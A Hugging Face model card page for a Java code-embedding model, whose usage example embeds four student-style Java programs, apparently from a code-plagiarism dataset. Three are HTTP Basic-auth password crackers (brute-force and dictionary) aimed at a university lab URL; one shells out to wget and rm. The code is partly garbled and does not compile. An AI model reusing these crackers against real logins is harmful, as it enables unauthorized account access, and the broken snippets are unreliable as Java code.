Hugging Face's logo Hugging Face
  • Models
  • Datasets
  • Spaces
  • Buckets new
  • Docs
  • Enterprise
  • Pricing
    • Website
      • Tasks
      • HuggingChat
      • Collections
      • Languages
      • Organizations
    • Community
      • Blog
      • Posts
      • Daily Papers
      • Hardware
      • Learn
      • Discord
      • Forum
      • GitHub
    • Solutions
      • Team & Enterprise
      • Hugging Face PRO
      • Enterprise Support
      • Inference Providers
      • Inference Endpoints
      • Storage Buckets

  • Log In
  • Sign Up

buelfhood
/
SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2

Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
dense
Generated from Trainer
dataset_size:34368
loss:CachedMultipleNegativesRankingLoss
text-embeddings-inference
Model card Files Files and versions
xet
Community

Instructions to use buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.

  • Libraries
  • sentence-transformers

    How to use buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2 with sentence-transformers:

    from sentence_transformers import SentenceTransformer
    
    model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2")
    
    sentences = [
        "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password=\"\";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd=\"\";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t\"Usage : java BruteForce <username>\");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println (\"  \" + new Date());\n      \n      System.out.println (\"Using BruteForce method  attack \"+username+\"'s password.Please waiting.......\");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println(\"The password: \"+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n\n                System.out.println (\"Finish  \" + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println(\"The password: \"+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println(\"It took \"+ DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n                     System.out.println (\"Finish  \" + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println(\"The password: \"+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds.\");\n                    \n                    System.out.println (\"Finish  \" + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(\" not find the password\");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n      \n\n      try {\n\n        String userPassword = username+\":\"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}",
        "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password=\"\";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd=\"\";\n\n       int t0,t1;\n\n      String line =\"\";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t\"Usage : java BruteForce <username>\");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println (\"  \" + new Date());\n      System.out.println (\"Using Dictionary method  attack \"+username+\"'s password.  Please waiting.......\");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println(\"The password: \"+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println(\"It took \"+DecimalFormat.getInstance().format(dt/1000)+ \" seconds\");\n                \n                System.out.println (\"Finish  \" + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(\" not find the password\");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  \"http://sec-crack.cs.rmit.edu./SEC/2/\" ;\n\n      \n      try {\n\n        String userPassword = username+\":\"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}",
        "import java.util.*;\nimport java.io.*;\nimport java.*;\n\npublic class Dogs5\n{\n   public static void main(String [] args) throws Exception\n   {      \n      executes(\"rm index.*\");\n      executes(\"wget http://www.cs.rmit.edu./students\");\n\n      while (true)\n      {\n         String addr= \"wget http://www.cs.rmit.edu./students\";\n         executes(addr);\n         String hash1 = md5sum(\"index.html\");\n         String hash2 = md5sum(\"index.html.1\");\n         System.out.println(hash1 +\"|\"+ hash2);\n \n         BufferedReader buf = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\n         String line=\" \" ;\n         String line1=\" \" ;\n         String line2=\" \";\n         String line3=\" \";\n         String[] cad = new String[10];\n        \n         executes(\"./.sh\");\n  \n         int i=0;\n         while ((line = buf.readLine()) != null)\n         {\n            \n              line1=\"http://www.cs.rmit.edu./students/images\"+line;\n            if (i==1)\n               line2=\"http://www.cs.rmit.edu./students/images\"+line;\n            if (i==2)\n               line3=\"http://www.cs.rmit.edu./students/images\"+line;\n            i++;\n         }\n         System.out.println(line1+\" \"+line2+\" \"+line3); \n\n\n         executes(\"wget \"+line1);\n         executes(\"wget \"+line2);\n         executes(\"wget \"+line3);\n         \n         String hash3 = md5sum(\"index.html.2\"); \n         String hash4 = md5sum(\"index.html.3\"); \n         String hash5 = md5sum(\"index.html.4\");\n\n         \n\n\nBufferedReader buf2 = new BufferedReader(new FileReader(\"/home/k//Assign2/ulist1.txt\"));\n\n         String linee=\" \" ;\n         String linee1=\" \" ;\n         String linee2=\" \";\n         String linee3=\" \";\n\n         executes(\"./ip1.sh\");\n\n         int j=0;\n         while ((linee = buf2.readLine()) != null)\n         {\n\n              linee1=\"http://www.cs.rmit.edu./students/images\"+linee;\n            if (j==1)\n               linee2=\"http://www.cs.rmit.edu./students/images\"+linee;\n            if (j==2)\n               linee3=\"http://www.cs.rmit.edu./students/images\"+linee;\n            j++;\n         }\n         System.out.println(line1+\" \"+line2+\" \"+line3);\n\n\n         executes(\"wget \"+linee1);\n         executes(\"wget \"+linee2);\n         executes(\"wget \"+linee3);\n\n         String hash6 = md5sum(\"index.html.5\");\n         String hash7 = md5sum(\"index.html.6\");\n         String hash8 = md5sum(\"index.html.7\");        \n       \n         boolean pict=false;\n         if (hash3.equals(hash6))\n            pict=true;\n\n         boolean pict2=false;\n         if (hash3.equals(hash6))\n            pict2=true;\n          \n         boolean pict3=false;\n         if (hash3.equals(hash6))\n            pict3=true;\n\n      \n         if (hash1.equals(hash2))\n         {    \n           executes(\"./difference.sh\");\n           executes(\"./mail.sh\");\n \n         \n\n         }\n         else\n         {\n            if (pict || pict2 || pict3)\n            {\n              executes(\".~/Assign2/difference.sh\");            \n              executes(\".~/Assign2/mail2.sh\");\n            }\n\n            executes(\".~/Assign2/difference.sh\");\n            executes(\".~/Assign2/mail.sh\");\n            \n  \n       \n            executes(\"./reorder.sh\");\n            executes(\"rm index.html\");\n            executes(\"cp index.html.1 index.html\");\n            executes(\"rm index.html.1\");\n            executes(\"sleep 5\"); \n        }  \n     }\n   }\n\n   public static void executes(String comm) throws Exception\n   {\n   Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\",\"-c\", comm });\n\n         BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));\n\n         String cad;\n         while(( cad = bf.readLine()) != null)\n         {\n            System.out.println();\n         }\n\t p.waitFor();\n   }\n\n   public static String md5sum(String file) throws Exception\n   {\n      String cad;\n      String hash= \"  \";      \n\n      Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\",\n                                             \"-c\", \"md5sum \"+file });\n      BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));\n\n      while((bf = cad.readLine()) != null)\n      {\n         StringTokenizer word=new StringTokenizer();\n         hash=word.nextToken();\n         System.out.println(hash);\n      }\n      return hash;      \n\n   }\n\n   \n  \n}\n\n",
        "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n   public static void main(String[] args) throws Exception\n   {\n      \n     String password = checkPassword(); \n\n     System.out.println(\"Congratulations Your password is \"+ password );\n      \n      \n\n      URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n      HttpURLConnection sec = (HttpURLConnection)url.openConnection();\n      sec.setRequestProperty(\"Authorization\", \" \" + encode(\":\"+password));\n      BufferedReader in = new BufferedReader(new InputStreamReader(sec.getInputStream()));\n      String inputLine;\n\n      while ((inputLine = in.readLine()) != null)\n         System.out.println(inputLine);\n      in.close();\n  }\n\n    \n\n   private static String checkPassword() throws Exception\n   {\n      String Password=\" \";\n      int attempt=0;\n      URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n      HttpURLConnection sec;\n      String[] cad = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\n                      \"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\n                      \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\n                      \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n      for (int i=0; i < cad.length; i++)\n      {\n         for (int j=0; j< cad.length;j++)\n         {\n            for (int k=0; k<cad.length;k++)\n            {\n               attempt++;\n               String Passwd = new String(cad[i]+cad[j]+cad[k]);\n               String userPasswd= \":\"+Passwd;\n               System.out.println(attempt+\" \"+userPasswd);\n              \n               sec = (HttpURLConnection)url.openConnection();\n               sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\n               if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n               {\n                  Password=Passwd;\n                  return Password;\n               }\n               sec.disconnect();\n            }  \n         }  \n      }  \n      return \"Password not found\";\n   }\n\n   private static String encode(String userPasswd) throws Exception\n   {\n      String ad;\n      String encodedUserPasswd=\" \";\n      String addr= \"~//base64_encode.php \"+userPasswd ;\n      Process p = Runtime.getRuntime().exec(new String[]{\"/usr/local//bash\",\"-c\", addr});\n      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));\n      \n      while ( (cad = resp.readLine()) != null )\n      {\n         \n         encodedUserPasswd=cad;\n      }\n      return encodedUserPasswd;\n    }\n}\n\n"
    ]
    embeddings = model.encode(sentences)
    
    similarities = model.similarity(embeddings, embeddings)
    print(similarities.shape)
    # [4, 4]
  • Notebooks
  • Google Colab
  • Kaggle
SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr2e-05-split0.2
339 MB
Ctrl+K
Ctrl+K
  • 1 contributor
History: 2 commits
buelfhood's picture
buelfhood
Add new SentenceTransformer model
62b86cc verified 11 months ago
  • 1_Pooling
    Add new SentenceTransformer model 11 months ago
  • .gitattributes
    1.52 kB
    initial commit 11 months ago
  • README.md
    120 kB
    Add new SentenceTransformer model 11 months ago
  • config.json
    624 Bytes
    Add new SentenceTransformer model 11 months ago
  • config_sentence_transformers.json
    295 Bytes
    Add new SentenceTransformer model 11 months ago
  • merges.txt
    482 kB
    Add new SentenceTransformer model 11 months ago
  • model.safetensors
    334 MB
    xet
    Add new SentenceTransformer model 11 months ago
  • modules.json
    229 Bytes
    Add new SentenceTransformer model 11 months ago
  • sentence_bert_config.json
    57 Bytes
    Add new SentenceTransformer model 11 months ago
  • special_tokens_map.json
    958 Bytes
    Add new SentenceTransformer model 11 months ago
  • tokenizer.json
    3.71 MB
    Add new SentenceTransformer model 11 months ago
  • tokenizer_config.json
    1.26 kB
    Add new SentenceTransformer model 11 months ago
  • vocab.json
    838 kB
    Add new SentenceTransformer model 11 months ago